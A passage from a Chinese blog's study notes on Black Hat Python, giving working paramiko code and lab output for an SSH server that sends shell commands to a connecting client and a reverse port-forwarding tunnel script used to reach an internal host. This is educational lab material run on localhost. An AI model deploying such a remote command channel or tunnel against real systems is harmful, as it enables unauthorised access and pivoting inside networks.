            except Exception as e:
                ssh_session.send(str(e))
        client.close()
    return

ssh_command('127.0.0.1', 'kali', 'kali', 'This is test message!!!!!',8088)


创建python文件ssh_server.py,代码如下:

注意:要修改代码,第21行username和password的内容要从’kali‘,’kali‘改为自己的用户名和密码

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# version : python3.5

import socket
import paramiko
import threading
import sys

# 使用paramiko示例文件的密钥
host_key = paramiko.RSAKey(filename='test_rsa.key')

class Server(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()
    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
    def check_auth_password(self, username, password):
        if(username == 'kali') and (password == 'kali'):
            return paramiko.AUTH_SUCCESSFUL
        return paramiko.AUTH_FAILED

server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # sock.setsockopt(sock, sock.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind((server, ssh_port))
    sock.listen(100)
    print("[+] Listening for connection...")
    client, addr = sock.accept()
except Exception as e:
    print("[-] Listen failed: " + str(e))
    sys.exit(1)
print("[+] Got a connection ! ")

try:
    bhSession = paramiko.Transport(client)
    bhSession.add_server_key(host_key)
    server = Server()
    try:
        bhSession.start_server(server=server)
    except paramiko.SSHException as x:
        print("[-] SSH negotiation failed.")
    chan = bhSession.accept(20)
    print("[+] Authenticated")
    print(chan.recv(1024).decode())
    chan.send(b'Welcome to bh_ssh')
    while True:
        try:
            command = input("Enter command: ").strip('\n')
            if command != 'exit':
                chan.send(command)
                print(chan.recv(1024).decode()+'\n')
            else:
                chan.send(b'exit')
                print("exiting")
                bhSession.close()
                raise Exception('exit')
        except KeyboardInterrupt:
            bhSession.close()
except Exception as e:
    print("[-] Caught exception: "+str(e))
    try:
        bhSession.close()
    except:
        pass
    sys.exit(1)

kali虚拟机里打开两个终端,一个作为服务端,一个作为客户端

服务端:

运行以及运行结果结果如下: 

┌──(root㉿kali)-[~]
└─# python ssh_server.py 127.0.0.1 8088
[+] Listening for connection...

客户端:

运行以及运行结果如下:

                                                                            
┌──(root㉿kali)-[~]
└─# python ssh_client.py 
b'Welcome to bh_ssh'

服务端变化、运行以及运行结果如下:

┌──(root㉿kali)-[~]
└─# python ssh_server.py 127.0.0.1 8088
[+] Listening for connection...
[+] Got a connection ! 
[+] Authenticated
This is test message!!!!!
Enter command: ls
公共
模板
视频
图片
文档
下载
音乐
桌面

其中运行结果不便完全展示,可以参考自己的运行结果。最后按下CTRL+C退出即可。

SSH隧道

创建python文件(rforward.py)

#!/usr/bin/env python
#coding=utf-8
import getpass
import os
import socket
import select
import sys
import threading
from optparse import OptionParser

import paramiko

SSH_PORT = 22
DEFAULT_PORT = 4000

g_verbose = True


def handler(chan, host, port):
    sock = socket.socket()
    try:
        sock.connect((host, port))
    except Exception as e:
        verbose('Forwarding request to %s:%d failed: %r' % (host, port, e))
        return

    verbose('Connected!  Tunnel open %r -> %r -> %r' % (chan.origin_addr,
                                                        chan.getpeername(), (host, port)))
    while True:
        r, w, x = select.select([sock, chan], [], [])
        if sock in r:
            data = sock.recv(1024)
            if len(data) == 0:
                break
            chan.send(data)
        if chan in r:
            data = chan.recv(1024)
            if len(data) == 0:
                break
            sock.send(data)
    chan.close()
    sock.close()
    verbose('Tunnel closed from %r' % (chan.origin_addr,))


def reverse_forward_tunnel(server_port, remote_host, remote_port, transport):
        # 用 paramiko 的 request_port_forward 函数将 ssh 服务端一个端口的 tcp 连接转发出去
    transport.request_port_forward('', server_port)
    while True:
                # 同时建立一个系的传输通道
        chan = transport.accept(1000)
        if chan is None:
            continue
                # 在通道里,我们调用 handler 函数进行处理
        thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port))
        thr.setDaemon(True)
        thr.start()


def verbose(s):
    if g_verbose:
        print(s)


HELP = """\
Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session
back to the local machine, and out to a remote site reachable from this
network. This is similar to the openssh -R option.
"""


def get_host_port(spec, default_port):
    "parse 'hostname:22' into a host and port, with the port optional"
    args = (spec.split(':', 1) + [default_port])[:2]
    args[1] = int(args[1])
    return args[0], args[1]


def parse_options():
    global g_verbose

    parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]',
                          version='%prog 1.0', description=HELP)
    parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True,
                      help='squelch all informational output')
    parser.add_option('-p', '--remote-port', action='store', type='int', dest='port',
                      default=DEFAULT_PORT,
                      help='port on server to forward (default: %d)' % DEFAULT_PORT)
    parser.add_option('-u', '--user', action='store', type='string', dest='user',
                      default=getpass.getuser(),
                      help='username for SSH authentication (default: %s)' % getpass.getuser())
    parser.add_option('-K', '--key', action='store', type='string', dest='keyfile',
                      default=None,
                      help='private key file to use for SSH authentication')
    parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True,
                      help='don\'t look for or use a private key file')
    parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False,
                      help='read password (for key or password auth) from stdin')
    parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port',
                      help='remote host and port to forward to')
    options, args = parser.parse_args()

    if len(args) != 1:
        parser.error('Incorrect number of arguments.')
    if options.remote is None:
        parser.error('Remote address required (-r).')

    g_verbose = options.verbose
    server_host, server_port = get_host_port(args[0], SSH_PORT)
    remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
    return options, (server_host, server_port), (remote_host, remote_port)


def main():
    options, server, remote = parse_options()

    password = None
    if options.readpass:
        password = getpass.getpass('Enter SSH password: ')

    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.WarningPolicy())

    verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1]))
    try:
        client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile,
                       look_for_keys=options.look_for_keys, password=password)
    except Exception as e:
        print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e))
        sys.exit(1)

    verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))

    try:
        reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport())
    except KeyboardInterrupt:
        print('C-c: Port forwarding stopped.')
        sys.exit(0)


if __name__ == '__main__':
    main()

运行以及运行结果如下:

┌──(root㉿kali)-[~]
└─#  ./rforward.py -h
Usage: rforward.py [options] <ssh-server>[:<server-port>]

Set up a reverse forwarding tunnel across an SSH server, using paramiko. A
port on the SSH server (given with -p) is forwarded across an SSH session back
to the local machine, and out to a remote site reachable from this network.
This is similar to the openssh -R option.

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -q, --quiet           squelch all informational output
  -p PORT, --remote-port=PORT
                        port on server to forward (default: 4000)
  -u USER, --user=USER  username for SSH authentication (default: root)
  -K KEYFILE, --key=KEYFILE
                        private key file to use for SSH authentication
  --no-key              don't look for or use a private key file
  -P, --password        read password (for key or password auth) from stdin
  -r host:port, --remote=host:port
                        remote host and port to forward to

建立连接

┌──(root㉿kali)-[~]
└─# ./rforward.py 127.0.0.1 -p 8080 -r 10.10.10.129:80 --user root --password
Enter SSH password: 
Connecting to ssh host 127.0.0.1:22 ...

查看监听端口

──(root㉿kali)-[~]
└─# netstat -tulnp | grep 8080
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      888838/sshd: root   
tcp6       0      0 ::1:8080                :::*                    LISTEN      888838/sshd: root   
                                                                  

使用代理端口(前面创建的)访问10.10.10.129:80,即可看到如下运行结果,其中代码不完整,可参考自己的代码

┌──(root㉿kali)-[~]
└─# ./rforward.py 127.0.0.1 -p 8080 -r 10.10.10.129:80 --user root --password
Enter SSH password: 
Connecting to ssh host 127.0.0.1:22 ...
/usr/lib/python3/dist-packages/paramiko/client.py:852: UserWarning: Unknown ssh-ed25519 host key for 127.0.0.1: b'63a2ce45b830c41a142d4f565171eea0'
  warnings.warn(
Now forwarding remote port 8080 to 10.10.10.129:80 ...
/root/./rforward.py:56: DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
  thr.setDaemon(True)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
引用和的内容来自《Python第二版》这本书的第二章,主题是网络工程基础。在这一章中,作者介绍了TCP客户端/服务端和SSH与SSH隧道的相关内容。在TCP客户端/服务端部分,书中讲解了如何使用Python编写TCP客户端和服务端程序,以及如何进行简单的网络通信。而在SSH与SSH隧道部分,书中介绍了使用Paramiko库进行SSH连接和操作的方法,还提到了SSH隧道的概念和使用方法。通过这些内容,读者可以学习到如何使用Python<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [python第二版(Black Hat Python 2nd Edition读书笔记第二章 网络工程基础(1)TCP客户端/服务端...](https://blog.csdn.net/lipeixinglive/article/details/127079453)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [python第二版(Black Hat Python 2nd Edition读书笔记第二章 网络工程基础(3)SSH与SSH隧道](https://blog.csdn.net/lipeixinglive/article/details/127132402)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值